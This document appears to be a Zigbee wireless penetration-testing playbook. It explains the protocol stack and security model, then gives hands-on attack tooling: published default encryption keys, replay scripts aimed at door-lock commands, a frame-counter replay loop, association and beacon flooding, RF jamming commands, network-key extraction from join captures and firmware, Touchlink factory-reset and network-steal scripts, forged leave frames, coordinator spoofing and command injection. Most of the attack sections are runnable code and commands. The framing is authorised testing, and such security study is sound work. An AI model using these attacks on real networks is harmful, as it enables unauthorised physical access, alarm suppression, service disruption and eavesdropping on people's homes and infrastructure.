// SECTION 01
INTRODUCTION TO ZIGBEE SECURITY
What is Zigbee, why it matters, and why it's a goldmine for pentesters
What is Zigbee?
Zigbee is an IEEE 802.15.4-based wireless protocol specification designed for low-power, low-data-rate wireless mesh networks. It operates primarily in the 2.4 GHz ISM band globally, with sub-GHz bands in some regions (868 MHz EU, 915 MHz US).
It is the backbone of billions of IoT devices — smart lighting (Philips Hue, IKEA TRÅDFRI), smart meters, industrial sensors, medical devices, and building automation systems.
Attack Surface Overview
Zigbee deployments span: consumer smart home, industrial IoT (IIoT), smart energy grids, healthcare monitoring, and building automation (HVAC, access control).
The attack surface is enormous: weak key management, insecure join procedures, plaintext leakage during commissioning, replay vulnerabilities, and physically accessible hardware.
⚠ LEGAL NOTICE: All techniques in this playbook are for authorized penetration testing, academic research, and security assessments only. Unauthorized interception of Zigbee communications may violate the Computer Fraud and Abuse Act (CFAA), Electronic Communications Privacy Act (ECPA), and equivalent laws worldwide. Always obtain written authorization before testing.
Key Stats
~500M+ Zigbee-enabled devices deployed globally as of 2024.
Used in 60%+ of smart home automation hubs.
Standard in AMI (Advanced Metering Infrastructure) — smart meters in 100M+ homes.
Protocol Versions
Zigbee 2004 — Initial spec, minimal security
Zigbee 2006/2007 — Added profiles
Zigbee PRO — Enhanced security, routing
Zigbee 3.0 (2016) — Unified, BDB commissioning
Standards Basis
IEEE 802.15.4 — PHY + MAC layers
Zigbee Alliance Spec — NWK, APS, ZDO, AF layers
AES-128-CCM* — Encryption algorithm
Zigbee Cluster Library (ZCL) — Application layer
// SECTION 02
PROTOCOL ARCHITECTURE
IEEE 802.15.4 fundamentals and Zigbee's role on top
ZIGBEE PROTOCOL STACK
APPLICATION LAYER (APL)
ZCL / ZDO / AF
NETWORK LAYER (NWK)
Routing, Mesh
DATA LINK / MAC
IEEE 802.15.4
PHYSICAL LAYER (PHY)
IEEE 802.15.4 · 2.4GHz
IEEE 802.15.4 Physical Layer
Frequency: 2.4 GHz (global), 868/915 MHz (regional)
Channels: 16 channels (11–26) at 2.4 GHz, 5 MHz spacing
Data Rate: 250 kbps at 2.4 GHz
Modulation: O-QPSK with DSSS (Direct Sequence Spread Spectrum)
Range: 10–100m line of sight; 10–20m indoor typical
TX Power: 0–10 dBm typical, legally up to 20 dBm EIRP
MAC Layer Concepts
PAN ID — 16-bit Personal Area Network identifier. Separates networks on same channel.
Extended PAN ID — 64-bit globally unique PAN identifier (EUI-64 based)
Superframe — Optional TDMA structure with beacon frames
CSMA/CA — Carrier Sense Multiple Access with Collision Avoidance
Network Layer (NWK)
Mesh Routing — AODV-like on-demand routing
Tree Routing — Hierarchical address-based routing
Source Routing — Explicit route in packet header
Coordinator — Root node, network initiator
Router — Intermediate node, relays frames
End Device — Leaf node, minimal capability
Application Layer (APL)
ZDO — Zigbee Device Object: device/service discovery, binding management
APS — App Support Sublayer: endpoint addressing, binding, group management
ZCL — Zigbee Cluster Library: standardized application functionality
AF — Application Framework: endpoint/cluster dispatching
// SECTION 03
PROTOCOL STACK DEEP DIVE
Layer-by-layer internals for intelligent exploitation
Zigbee Cluster Library (ZCL) — Pentest Gold
ZCL defines clusters — reusable application building blocks. Each cluster has a 16-bit ID, attributes, and commands. Clusters are the primary interface for device control and data reading. Understanding ZCL is essential for crafting spoofed commands and fuzzing.
| Cluster Name | Cluster ID | Description | Attack Interest |
| Basic | 0x0000 | Device info, reset commands | Factory reset via WriteAttr |
| Power Configuration | 0x0001 | Battery voltage, mains | Info gathering |
| On/Off | 0x0006 | Toggle light/device state | Direct device control |
| Level Control | 0x0008 | Dimmer control | Disruption |
| OTA Upgrade | 0x0019 | Firmware update protocol | Malicious firmware injection |
| Door Lock | 0x0101 | Lock/unlock commands | Physical access bypass |
| Window Covering | 0x0102 | Blinds/shutter control | Physical access assist |
| Thermostat | 0x0201 | HVAC setpoints | Comfort/energy disruption |
| IAS Zone | 0x0500 | Alarm/sensor status | Alarm suppression/spoofing |
| Metering | 0x0702 | Smart energy readings | Energy fraud (AMI) |
| Key Establishment | 0x0800 | CBKE, link key setup | Key extraction |
APS Frame Security
APS layer optionally encrypts using the link key (per-pair). Network layer uses the network key (shared by all). This dual-key model is a critical attack surface.
APS Security Header includes: Security Control (1B), Frame Counter (4B), Source Address (0/8B), Key Identifier (1B), MIC (4/8/16B)
Frame counter prevents replay — but can wrap or be predictable in some implementations.
NWK Frame Format
Frame Control (2B) — type, discover route, multicast,
security, src route, dest/src IEEE addr
Dest Addr (2B) — short NWK address
Src Addr (2B) — short NWK address
Radius (1B) — hop count (TTL)
Seq Number (1B) — anti-duplicate
[Dest IEEE] (8B) — optional
[Src IEEE] (8B) — optional
[Multicast] (1B) — optional
[Src Route] (var) — optional
[Security] (var) — optional
Payload (var) — APS PDU
// SECTION 04
NETWORK TOPOLOGY
Star, tree, mesh — device roles and routing implications
Coordinator (ZC)
Role: Network initiator, trust center, root of the tree.
Key Functions: Chooses PAN ID + channel, forms network, manages network key, distributes keys to joining devices, manages associations.
Pentest Impact: Impersonating or attacking the coordinator is the highest-value target — it controls the trust center, distributes keys, and can kick/join devices.
Router (ZR)
Role: Full-function device that relays packets for others.
Key Functions: Joins network, participates in routing, can accept children (end devices), maintains neighbor and routing tables.
Pentest Impact: Compromised routers enable passive sniffing of all traffic passing through them. Buffer overflow attacks on embedded stack implementations (CC2530, EM357) are well-documented.
End Device (ZED)
Role: Minimal capability, cannot route.
Key Functions: Associates with a parent (coordinator or router), sleeps most of the time, polls for buffered messages.
Pentest Impact: Often the most physically accessible device (sensors, locks, plugs). Sleep mode creates timing windows for attacks. Firmware extraction via JTAG/SWD is common.
ℹ TOPOLOGY NOTE: In a mesh network, all routers can communicate with all other visible routers. A single compromised router with an active sniffer can capture a significant portion of network traffic depending on placement. Position matters in physical penetration scenarios.
Network Formation Sequence
1
Coordinator performs energy scan on all 16 channels to detect interference
2
Coordinator performs active scan to detect existing PANs
3
Coordinator selects least-congested channel and unique PAN ID
4
Coordinator sends NLME-NETWORK-FORMATION.request
5
Network key is generated or pre-installed; Trust Center configured
6
Devices discover and join via Association Request / Response
7
Trust Center sends Network Key encrypted with default link key
Join Procedure Attack Windows
The network join procedure is the most critical attack window in Zigbee. During steps 6–7 above:
!
Network key is transmitted encrypted with well-known default link key ("ZigBeeAlliance09") — trivially decryptable
!
Pre-configured Link Key (PCLK) mode is safer but rarely used
!
Touchlink commissioning bypasses trust center entirely
!
Install codes improve security but adoption is incomplete
// SECTION 05
ADDRESSING & CHANNELS
PAN IDs, IEEE addresses, short addresses, channel maps
Address Types
| Type | Size | Range | Notes |
| IEEE / EUI-64 | 8 bytes | 64-bit | Factory-burned, globally unique |
| Short (NWK) | 2 bytes | 0x0000–0xFFFD | Assigned at join; 0x0000=coordinator |
| Broadcast | 2 bytes | 0xFFFF / 0xFFFB / 0xFFFC / 0xFFFD | Different scopes |
| PAN ID | 2 bytes | 0x0000–0xFFFE | Network identifier |
| Extended PAN | 8 bytes | 64-bit | Global unique network ID |
Channel Map — 2.4 GHz
Ch 11 · 2405 MHzOverlaps WiFi ch1
Ch 15 · 2425 MHz⚡ WiFi gap (common choice)
Ch 20 · 2450 MHzBetween WiFi ch6 & ch11
Ch 25 · 2475 MHz⚡ Clean WiFi gap
Ch 26 · 2480 MHzOverlaps WiFi ch11 edge
Most deployments favor ch15, ch20, ch25, ch26 to minimize WiFi interference. Start your scans there.
// SECTION 06
FRAME STRUCTURE
MAC, NWK, APS frame dissection for packet analysis
IEEE 802.15.4 MAC Frame Structure
┌──────────────┬────────────┬──────────────────────────────────────────────────────┬─────────┐
│ Preamble (4B)│ SFD (1B) │ PHY Header (1B): Frame Length │ Payload │
└──────────────┴────────────┴──────────────────────────────────────────────────────┴─────────┘
Bits [2:0] = Frame Type: 000=Beacon, 001=Data, 010=ACK, 011=MAC Cmd
Bit [3] = Security Enabled
Bit [4] = Frame Pending
Bit [5] = AR (ACK Request)
Bit [6] = PAN ID Compression
Bits [11:10] = Dest Addressing Mode: 00=none, 10=16bit, 11=64bit
Bits [13:12] = Frame Version
Bits [15:14] = Src Addressing Mode: 00=none, 10=16bit, 11=64bit
NWK Frame — Security Header
Security Control (1B):
Key Identifier Mode [4:3]:
0b00 = Data Key (Network Key current)
0b01 = Network Key (with sequence number)
0b10 = Key Transport Key
0b11 = Key Load Key
Extended Nonce [5]: 0=short nonce, 1=full IEEE addr
Level [2:0]: 0=none, 4=ENC-MIC-32, 5=ENC-MIC-64, 6=ENC-MIC-128
Frame Counter (4B): Monotonically increasing, anti-replay
Source IEEE Addr (8B): If extended nonce bit set
Key Sequence Num (1B): If Key ID mode = 01
MIC (4/8/16B)
APS Frame Structure
Frame Control (1B):
Frame Type [1:0]: 00=Data, 01=Cmd, 10=ACK, 11=Inter-PAN
Delivery Mode [3:2]: 00=Unicast, 01=Indirect, 10=Broadcast, 11=Group
ACK Format [4], Security [5], ACK Request [6], EXT header [7]
Dest Endpoint (1B): if unicast/broadcast
Group Addr (2B): if group delivery
Cluster ID (2B): ZCL Cluster
Profile ID (2B): Application Profile
Src Endpoint (1B): source endpoint
APS Counter (1B): anti-replay at APS layer
[Ext Header] (var): Fragmentation info
[Security Hdr] (var): if APS security enabled
Payload (var): ZCL frame
// SECTION 07
ZIGBEE SECURITY MODEL
Keys, trust center, security levels, known weaknesses
Master Key
Pre-installed symmetric key used to establish link keys. Rarely used in practice. When used, protects link key transport.
Network Key (NWK Key)
128-bit AES key shared by ALL devices in the network. Protects NWK layer frames. Rotatable via Key Update procedure (rarely done in practice).
THE critical secret. Extract once — sniff everything forever.
Link Key (App Key)
128-bit AES key shared between specific device pairs. Used for APS-layer encryption. Higher security but not universally implemented.
🔴 CRITICAL WEAKNESS: The default link key used during network join in most Zigbee PRO and early Zigbee 3.0 devices is the well-known string "ZigBeeAlliance09" (hex: 5A696742656541 6C6C69616E636530 39). Any observer who captures the join handshake can trivially decrypt the network key exchange using this default key — permanently compromising the entire network.
| Security Level | Value | Encryption | MIC Length | Usage |
| None | 0x00 | No | 0 | Beacons, discovery |
| MIC-32 | 0x01 | No | 4 bytes | Authentication only |
| MIC-64 | 0x02 | No | 8 bytes | Authentication only |
| MIC-128 | 0x03 | No | 16 bytes | Authentication only |
| ENC | 0x04 | Yes | 0 | Encryption only (rare) |
| ENC-MIC-32 | 0x05 | Yes | 4 bytes | Most common in Zigbee PRO |
| ENC-MIC-64 | 0x06 | Yes | 8 bytes | Higher security deployments |
| ENC-MIC-128 | 0x07 | Yes | 16 bytes | Maximum security |
Trust Center Model
The Trust Center (TC) is typically the coordinator. It is responsible for: authenticating devices, distributing network keys, managing link keys, and authorizing network access.
Centralized TC: Single coordinator holds all keys. High-value target.
Distributed TC (Zigbee 3.0): No single trust center; any router can allow joining. Reduces single point of failure but complicates key management.
Known Default Keys
ASCII: ZigBeeAlliance09
HEX: 5A 69 67 42 65 65 41 6C
6C 69 61 6E 63 65 30 39
HEX: 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
HEX: 9F 55 95 F1 02 57 C8 A9
65 19 85 CB B7 40 2D 2F
// SECTION 08
HARDWARE ARSENAL
Every tool you need to sniff, inject, and attack Zigbee networks
ℹ HARDWARE TIP: For serious engagements, run TWO CC2531 sticks simultaneously on different channels using KillerBee's multi-channel support. Most networks use 1–2 channels, but confirm via energy scan first. The TI SmartRF Packet Sniffer 2 can display real-time spectrum alongside decoded frames.
// SECTION 09
FIRMWARE & SETUP
Flashing, configuring, and validating your hardware
Flash CC2531 Sniffer Firmware (Linux)
// Using cc-tool
sudo apt-get install libusb-1.0-0-dev git
git clone https://github.com/dashesy/cc-tool
cd cc-tool && cmake . && make
sudo ./cc-tool -e -w cc2531ZNP-Prod.hex
sudo ./cc-tool -i
Flash CC2531 via Arduino (No Debugger)
pip install cc-tool
wget https://github.com/Koenkk/Z-Stack-firmware/raw/\
master/coordinator/Z-Stack_Home_1.2/bin/default/\
CC2531_DEFAULT_20211115.zip
unzip CC2531_DEFAULT_20211115.zip
sudo ./cc-tool -e -w CC2531ZNP-Prod.hex
KillerBee Setup (Kali/Ubuntu)
sudo apt-get install python3-pip python3-dev \
libusb-1.0-0-dev wireshark
pip3 install killerbee
zbid
sudo cp killerbee/dev/99-killerbee.rules /etc/udev/rules.d/
sudo udevadm control --reload-rules
Zigbee2MQTT as Attack Platform
sudo apt-get install nodejs npm mosquitto
git clone https://github.com/Koenkk/zigbee2mqtt.git
cd zigbee2mqtt && npm ci
serial:
port: /dev/ttyUSB0
mqtt:
server: mqtt://localhost
advanced:
network_key: GENERATE
pan_id: 0x1a62
channel: 15
npm start
mosquitto_sub -t "zigbee2mqtt/#" -v
// SECTION 10
SOFTWARE TOOLKIT
Every tool in the Zigbee hacker's arsenal
| Tool | Purpose | Platform | Install |
| KillerBee | Zigbee attack framework — sniff, replay, dissect | Linux | pip install killerbee |
| Scapy (zbscapy) | Zigbee packet crafting and injection | Python | pip install scapy |
| Wireshark + ZigBee plugin | Live/offline frame dissection | Cross-platform | apt install wireshark |
| Zigbee2MQTT | Coordinator stack, MQTT bridge, device control | Node.js | npm ci |
| zigpy | Python Zigbee stack — ZHA, scripting | Python | pip install zigpy |
| ZHA (Home Assistant) | Zigbee coordinator stack, device support | Python | HA integration |
| TI SmartRF Packet Sniffer 2 | GUI sniffer for TI hardware | Windows | TI SWRC045 |
| zbdump / zbwireshark | KillerBee: capture to PCAP | Linux | killerbee package |
| zbstumbler | Active network discovery/stumbling | Linux | killerbee package |
| zbassocflood | Association flood DoS | Linux | killerbee package |
| zbreplay | Replay captured frames | Linux | killerbee package |
| zbfind | Find Zigbee devices, signal strength | Linux | killerbee package |
| gnuradio + gr-ieee802-15-4 | SDR Zigbee decoding | Linux | apt + gr-ieee802154 |
| Binwalk | Firmware analysis / extraction | Linux | apt install binwalk |
| OpenOCD | JTAG/SWD firmware extraction | Linux | apt install openocd |
| GDB + ARM cross tools | Firmware debugging/RE | Linux | apt install gdb-multiarch |
| Ghidra / IDA Pro | Firmware disassembly/RE | Cross-platform | NSA/Hex-Rays |
| Z3Gateway | TI gateway reference stack | Linux | TI SDK |
| zbcat | KillerBee: decode captured pcap | Linux | killerbee package |
| nRF Sniffer (Nordic) | BLE/802.15.4 sniffer for nRF hardware | Linux/Win | Nordic SDK |
// SECTION 11
PASSIVE RECONNAISSANCE
Stealth observation — no transmissions, no detection
✓ PASSIVE RECON = ZERO RF EMISSIONS. Entirely undetectable. Always start here. Never transmit during initial recon.
Start Passive Capture — KillerBee
zbid
zbdump -c 15 -w capture_ch15.pcap
for ch in 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26; do
zbdump -c $ch -w ch${ch}.pcap -n 500 &
done
zbdump -c 15 -w - | wireshark -k -i -
zbdump -i /dev/ttyUSB0 -c 25 -w output.pcap
Analyze Capture — Extract Intel
zbcat capture_ch15.pcap
zbcat capture.pcap | grep "Source" | sort -u
zbcat capture.pcap | grep -i "beacon"
wpan.frame_type == 0
zbee_zcl
zbee_nwk.cmd.id == 0x06
!wpan.security
Intelligence Gathering from Passive Capture
From passive sniffing alone you can determine:
•
Number of active Zigbee networks (PAN IDs)
•
Active channels in use
•
Number of devices per network
•
IEEE addresses and short addresses of all visible nodes
•
Coordinator IEEE address (short addr 0x0000)
•
Device types (router vs end device) from traffic patterns
•
Transmission intervals (useful for timing attacks)
•
Security level in use (is encryption enabled?)
•
Whether APS-layer security is used (link key encryption)
•
Application profile IDs (home automation, smart energy, etc.)
•
Cluster IDs in use (what functions are active)
•
New device join events (opportunistic key capture)
// SECTION 12
NETWORK DISCOVERY
Active stumbling, PAN enumeration, device fingerprinting
⚠ ACTIVE DISCOVERY = RF TRANSMISSIONS. Detectable by spectrum monitors. Only perform with written authorization. Active frames may trigger alerts in managed environments.
zbstumbler — Active Discovery
zbstumbler
zbstumbler -c 15
zbstumbler -c 15 -v
zbstumbler -c 15 -w stumble_results.txt
zbfind -c 15 -d 00:11:22:33:44:55:66:77
Zigbee2MQTT — Map Network Topology
mosquitto_sub -t "zigbee2mqtt/bridge/devices" -v
mosquitto_pub -t "zigbee2mqtt/bridge/request/networkmap" \
-m '{"type":"raw","routes":false}'
curl http://localhost:8080/api/devices
ZDO (Zigbee Device Object) Discovery Commands
0x0000 NWK_addr_req
0x0001 IEEE_addr_req
0x0002 Node_Desc_req
0x0003 Power_Desc_req
0x0004 Simple_Desc_req
0x0005 Active_EP_req
0x0030 Mgmt_NWK_Disc_req
0x0031 Mgmt_Lqi_req
0x0032 Mgmt_Rtg_req
0x0033 Mgmt_Bind_req
0x0036 Mgmt_Permit_Join_req
ZDO discovery reveals:
→
Complete device capability bitmask (coordinator/router/end device, security capability, receiver on when idle)
→
All active endpoints and their cluster lists (input + output)
→
Neighbor LQI tables — full physical topology
→
Routing tables — path enumeration
→
Binding tables — which devices control which targets
→
Power source (mains / battery / solar — affects attack timing)
// SECTION 13
ACTIVE SCANNING
Deep enumeration, service probing, ZCL attribute reading
ZCL Attribute Read — Python / zigpy
import asyncio
from zigpy.zcl.clusters.general import Basic
async def read_device_info(dev):
cluster = dev.endpoints[1].basic
result = await cluster.read_attributes([
'zcl_version',
'hw_version',
'manufacturer',
'model',
'sw_build_id',
'power_source',
])
for attr, val in result[0].items():
print(f" {attr:20s}: {val}")
Scapy — Craft ZDO Request
from scapy.all import *
from scapy.layers.dot15d4 import *
from scapy.layers.zigbee import *
pkt = (
Dot15d4FCS() /
Dot15d4Data(
dest_panid=0x1a62,
dest_addr=0x0000,
src_addr=0x1234
) /
ZigbeeNWK() /
ZigbeeAppDataPayload() /
ZigbeeDeviceProfile(
cluster=0x0001,
profile=0x0000
) /
ZDPIEEEAddrReq(
nwk_addr=0xFFFF,
request_type=1
)
)
sendp(pkt, iface="wpan0")
// SECTION 14
CHANNEL ANALYSIS
Energy detection, interference mapping, channel hopping
Energy Scan All Channels
python3 -c "
import killerbee
kb = killerbee.KillerBee()
print('Ch | Energy | Activity')
for ch in range(11, 27):
kb.set_channel(ch)
energy = kb.ed()
print(f'{ch:2d} | {energy:6d} | {\"ACTIVE\" if energy > 50 else \"quiet\"}')
kb.close()
"
hackrf_sweep -f 2400:2500 -l 32 -g 40 | \
python3 spectrum_plot.py
Channel-Traffic Correlation
Smart homes typically cluster on ch15, ch20, ch25 (WiFi-avoiding). Industrial often uses ch26. AMI (smart meters) often use ch25 or sub-GHz.
Strategy: Do energy scan, identify active channels, then do 10-minute passive capture on each. Rank by frame count. Focus your attack on the most active channel first — you'll intercept the most traffic and join events.
for f in ch*.pcap; do
count=$(tshark -r $f -q 2>/dev/null | wc -l)
echo "$count $f"
done | sort -rn
// SECTION 15
PACKET SNIFFING
Capturing, decrypting, and analyzing Zigbee frames
Decrypt Zigbee Frames in Wireshark
Key 1 (NWK Key - well-known default):
5A 69 67 42 65 65 41 6C 6C 69 61 6E 63 65 30 39
Key 2 (ZHA null key):
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Key 3 (ZLL Master Key):
9F 55 95 F1 02 57 C8 A9 65 19 85 CB B7 40 2D 2F
zbee_zcl && zbee_zcl.cmd.id
Key Extraction from Capture
zbcat -k 5a696742656541 6c6c69616e636530 39 \
capture.pcap
tshark -r capture.pcap -Y \
"zbee_nwk.cmd.id == 0x0d" -T fields \
-e zbee_nwk.cmd.key
tshark -r capture.pcap -Y \
"zbee_aps.cmd.id == 0x05" -V
pkts = rdpcap("capture.pcap")
for p in pkts:
if ZigbeeSecurityHeader in p:
print(p.show())
Long-Term Covert Capture Setup
#!/bin/bash
OUTDIR="/var/log/zigbee_cap"
CHANNELS="11 15 20 25 26"
mkdir -p $OUTDIR
capture_channel() {
CH=$1
while true; do
TS=$(date +%Y%m%d_%H%M%S)
zbdump -c $CH -w "${OUTDIR}/ch${CH}_${TS}.pcap" \
-n 10000 -t 3600
done
}
for CH in $CHANNELS; do
capture_channel $CH &
done
wait
// SECTION 16
REPLAY ATTACKS
Capture legitimate commands and replay to trigger actions
🔴 HIGH IMPACT: Replay attacks on smart locks, garage doors, and alarm systems can directly enable physical security bypass. The frame counter mechanism is the primary defense — but many implementations have weaknesses or accept out-of-order frames.
Basic Replay — KillerBee
zbdump -c 15 -w target_commands.pcap
zbcat target_commands.pcap | grep -i "door\|lock\|toggle"
zbreplay -c 15 -r target_commands.pcap
zbreplay -c 15 -r target_commands.pcap -d 100
zbreplay -c 15 -r single_frame.pcap -n 1
Frame Counter Bypass Techniques
Zigbee uses a 32-bit frame counter at NWK and APS layers. Receivers should reject frames with a counter ≤ last seen. However:
!
Counter wrap-around: When counter hits 0xFFFFFFFF, some devices reset to 0 — creating a window where old replays are accepted
!
Non-persistent counter: Many end devices don't persist counter across power cycles — reset to 0 on reboot. Replay valid after power cycling victim
!
Tolerance window: Some implementations accept counters ± N of last seen (to handle packet loss) — exploit this window
!
Coordinator reset: If coordinator reboots without persisting state, all counters reset — full replay window opens
Scapy — Craft Modified Replay with Custom Counter
from scapy.all import *
from scapy.layers.zigbee import *
pkts = rdpcap("unlock_command.pcap")
original = pkts[0]
for counter in range(0xFFFF0000, 0xFFFFFFFF, 1000):
modified = original.copy()
modified[ZigbeeSecurityHeader].fc = counter
sendp(modified, iface="wpan0", count=3, inter=0.1)
time.sleep(0.5)
// SECTION 17
JAMMING & DENIAL OF SERVICE
RF jamming, association flooding, routing disruption
🔴 WARNING: RF jamming is illegal in most jurisdictions, even for authorized pentesters, under FCC Part 97/Part 15 and equivalent regulations. Verify legal parameters with client and legal counsel. Association flooding and protocol-layer DoS are generally permissible with authorization.
Association Flood (Layer-2 DoS)
zbassocflood -c 15 -t 0x0000
zbassocflood -c 15 -t 0x0000 -r 100
zbdump -c 15 -w assoc_flood_response.pcap &
Beacon Request Flood
python3 << 'EOF'
from scapy.all import *
from scapy.layers.dot15d4 import *
beacon_req = (
Dot15d4FCS(fcf_frametype=3) /
Dot15d4Cmd(cmd_id=7)
)
print("Flooding beacon requests on ch15...")
while True:
for _ in range(100):
sendp(beacon_req, iface="wpan0", verbose=0)
time.sleep(0.01)
EOF
Routing Table Exhaustion
Send RREQ (Route Request) floods to exhaust routing tables on routers. Zigbee routers typically have routing table limits of 8–32 entries (implementation-dependent).
python3 zigbee_rreq_flood.py \
--channel 15 \
--pan-id 0x1a62 \
--count 1000
End Device Orphaning
Send forged Disassociation Request from coordinator's address to end devices, causing them to drop from the network.
python3 forge_disassoc.py \
--src 00:11:22:33:44:55:66:77 \
--dst AA:BB:CC:DD:EE:FF:00:11 \
--reason 2
RF-Level Interference (SDR)
Using HackRF or USRP, broadcast narrowband interference on target channel. Zigbee uses DSSS but can be overwhelmed by sufficiently powerful in-band interference.
hackrf_transfer -t /dev/zero \
-f 2425000000 -s 2000000 \
-x 40
// SECTION 18
KEY EXTRACTION
Network key sniffing during join, JTAG extraction, EEPROM dumping
🔴 CRITICAL ATTACK: Extracting the network key compromises ALL device communications on the network retroactively (if you captured historical traffic) and going forward. This is the highest-impact attack in Zigbee pentesting.
Key Sniffing During Join — The Canonical Attack
zbdump -c 15 -w join_capture.pcap
tshark -r join_capture.pcap \
-Y "zbee_aps.cmd.id == 0x05" \
-d "zbee_nwk,zbee_aps" \
-o "zbee_nwk.keys:" \
-T fields \
-e zbee_sec.key
zbee_aps.cmd.id == 5
zbdecrypt — Decrypt Captures with Extracted Key
python3 << 'EOF'
from killerbee import *
# Network key extracted from join sniff
nwk_key = bytes.fromhex(
"deadbeef0011223344556677aabbccdd"
)
kb = KillerBee()
kb.set_channel(15)
# Decrypt recorded capture
with PcapReader("capture.pcap") as pcap:
for pkt in pcap:
try:
decrypted = decrypt_zigbee(pkt, nwk_key)
print(decrypted.show2(dump=True))
except Exception as e:
pass
EOF
JTAG/SWD Firmware Extraction (Hardware)
cc-tool -r firmware_dump.hex
openocd -f interface/jlink.cfg \
-f target/em357.cfg \
-c "init; halt; dump_image fw.bin 0x08000000 0x40000; shutdown"
openocd -f interface/cmsis-dap.cfg \
-f target/stm32f0x.cfg \
-c "program; verify; dump_image"
nrfjprog --readcode fw_dump.hex
nrfjprog --readuicr uicr.hex
EEPROM / Flash Key Search
grep -oba $'\x5a\x69\x67\x42\x65\x65' fw.bin
binwalk -E fw.bin
python3 zstack_nv_parser.py fw.bin
python3 << 'EOF'
import math, struct
data = open("fw.bin","rb").read()
for i in range(0, len(data)-16, 1):
chunk = data[i:i+16]
if all(b != 0 for b in chunk):
# Calculate entropy
freq = [chunk.count(b)/16 for b in set(chunk)]
H = -sum(p*math.log2(p) for p in freq if p>0)
if H > 3.8: # High entropy = possible key
print(f"0x{i:06x}: {chunk.hex()}")
EOF
// SECTION 19
ASSOCIATION ATTACKS
Unauthorized network join, rogue device injection
Joining an Open Network
tshark -r cap.pcap -Y \
"zbee_zdp.cluster == 0x0036" -V
python3 << 'EOF'
import asyncio
import zigpy_cc.api as cc
from zigpy_cc.zigbee.application import ControllerApplication
async def join_network():
app = ControllerApplication(
config={
"device": {"path": "/dev/ttyUSB0"},
"network": {
"channel": 15,
"pan_id": 0x1a62, # target PAN
}
}
)
await app.startup()
# Now enumerate all devices
for ieee, dev in app.devices.items():
print(f"Device: {ieee} ({dev.model})")
asyncio.run(join_network())
EOF
Rogue Coordinator Impersonation
Create a rogue network mimicking a legitimate one to lure devices into associating with your controlled coordinator. Requires stronger signal than legitimate coordinator at target devices.
cat config/configuration.yaml:
advanced:
pan_id: 0x1a62
ext_pan_id:
- 0xDE, 0xAD, ...
channel: 15
network_key:
- 0x01, 0x02, ...
// SECTION 20
TOUCHLINK EXPLOITS
ZLL commissioning bypass — factory reset and network steal
🔴 CRITICAL: Touchlink is arguably the most dangerous Zigbee attack vector. It allows any device within radio range to factory-reset ZLL-enabled devices (Philips Hue, IKEA, many others) WITHOUT network credentials. Demonstrated range: 100+ meters with directional antenna.
Touchlink Factory Reset Attack
git clone https://github.com/francisfueconcillo/touchlink-exploit
cd touchlink-exploit
python3 touchlink_scan.py -c 11
python3 touchlink_scan.py --all-channels
python3 touchlink_reset.py \
-t AA:BB:CC:DD:EE:FF:00:11 \
-c 11
Touchlink Network Steal
python3 touchlink_steal.py \
--target-ieee AA:BB:CC:DD:EE:FF:00:11 \
--channel 11 \
--tx-power high
Touchlink Protocol Details (Inter-PAN)
Touchlink commissioning operates via Inter-PAN frames — they don't require being on the same network. The commissioning messages are sent unencrypted (at PHY level) to allow out-of-network devices to communicate. The ZLL master key (known) encrypts the touchlink key exchange.
Touchlink Transaction Identifier: 4-byte random nonce
ZLL Master Key (encrypt transaction key):
9F 55 95 F1 02 57 C8 A9 65 19 85 CB B7 40 2D 2F
// SECTION 21
REJOIN ATTACKS
Force rejoin to capture fresh key exchanges
Force Rejoin — Leave Command
python3 << 'EOF'
from scapy.all import *
from scapy.layers.zigbee import *
def forge_leave(
src_ieee, # Coordinator IEEE (spoofed)
dst_short, # Target device NWK addr
pan_id,
channel
):
pkt = (
Dot15d4FCS() /
Dot15d4Data(
dest_panid=pan_id,
dest_addr=dst_short,
src_addr=0x0000, # Coordinator addr
) /
ZigbeeNWK(
frametype=1, # Command
cmd_id=0x04, # Leave
flags=0x40 # Rejoin bit set
)
)
sendp(pkt, iface="wpan0",
channel=channel, count=5)
forge_leave(
src_ieee="00:11:22:33:44:55:66:77",
dst_short=0x1234,
pan_id=0x1a62,
channel=15
)
EOF
Unsecured Rejoin Attack
tshark -r cap.pcap -Y \
"zbee_nwk.cmd.id == 0x06"
tshark -r cap.pcap -Y \
"zbee_nwk.cmd.id == 0x06 && !zbee_nwk.security"
tshark -r cap.pcap -Y \
"zbee_aps.cmd.id == 0x05"
// SECTION 22
NETWORK KEY ATTACKS
Key transport interception, key update abuse, brute force
Key Transport Frame Decryption
python3 << 'EOF'
from Crypto.Cipher import AES
import binascii
# Default link key
link_key = bytes.fromhex(
"5A696742656541 6C6C69616E636530 39".replace(" ","")
)
# Captured APS transport key frame payload
# (extract from Wireshark: zbee_aps.key)
encrypted_key_frame = bytes.fromhex("YOUR_CAPTURED_BYTES")
# AES-128-CCM* decryption
# Nonce = Source IEEE (8B) || Frame Counter (4B)
src_ieee = bytes.fromhex("AABBCCDDEEFF0011")
frame_counter = 0x00000001
nonce = src_ieee + frame_counter.to_bytes(4, 'little') + b'\x05'
cipher = AES.new(link_key, AES.MODE_CCM,
nonce=nonce, mac_len=4)
plaintext = cipher.decrypt(encrypted_key_frame[:-4])
print(f"Network Key: {plaintext.hex()}")
EOF
Key Update Monitoring
tshark -r cap.pcap -Y \
"zbee_nwk.cmd.id == 0x0d" -V
tshark -r cap.pcap -Y \
"zbee_aps.cmd.id == 0x03" -V
tshark -r cap.pcap -Y \
"zbee_aps.cmd.id == 0x04" -V
// SECTION 23
MITM & FRAME SPOOFING
Man-in-the-middle attacks, address spoofing, command injection
Device Address Spoofing
from scapy.all import *
from scapy.layers.zigbee import *
def inject_coordinator_frame(
payload_bytes, dst_addr, pan_id, channel=15
):
"""Inject frame spoofing coordinator address"""
pkt = (
Dot15d4FCS(fcf_panidcompress=True) /
Dot15d4Data(
dest_panid=pan_id,
dest_addr=dst_addr,
src_addr=0x0000, # Coordinator addr
) /
ZigbeeNWK(
source=0x0000,
destination=dst_addr,
flags=0x00 # No security (if unencrypted net)
) /
Raw(load=payload_bytes)
)
sendp(pkt, iface="wpan0", count=3, verbose=0)
ZCL Command Injection
python3 << 'EOF'
from zigpy.zcl import foundation
from zigpy.zcl.clusters.general import OnOff
# If network key known, build properly encrypted frame
# Otherwise, try unencrypted (some devices accept)
async def toggle_device(app, target_ieee, endpoint=1):
dev = app.get_device(target_ieee)
cluster = dev.endpoints[endpoint].on_off
# Send Toggle command (Cmd ID 0x02)
await cluster.toggle()
# Force OFF command (Cmd ID 0x00)
await cluster.off()
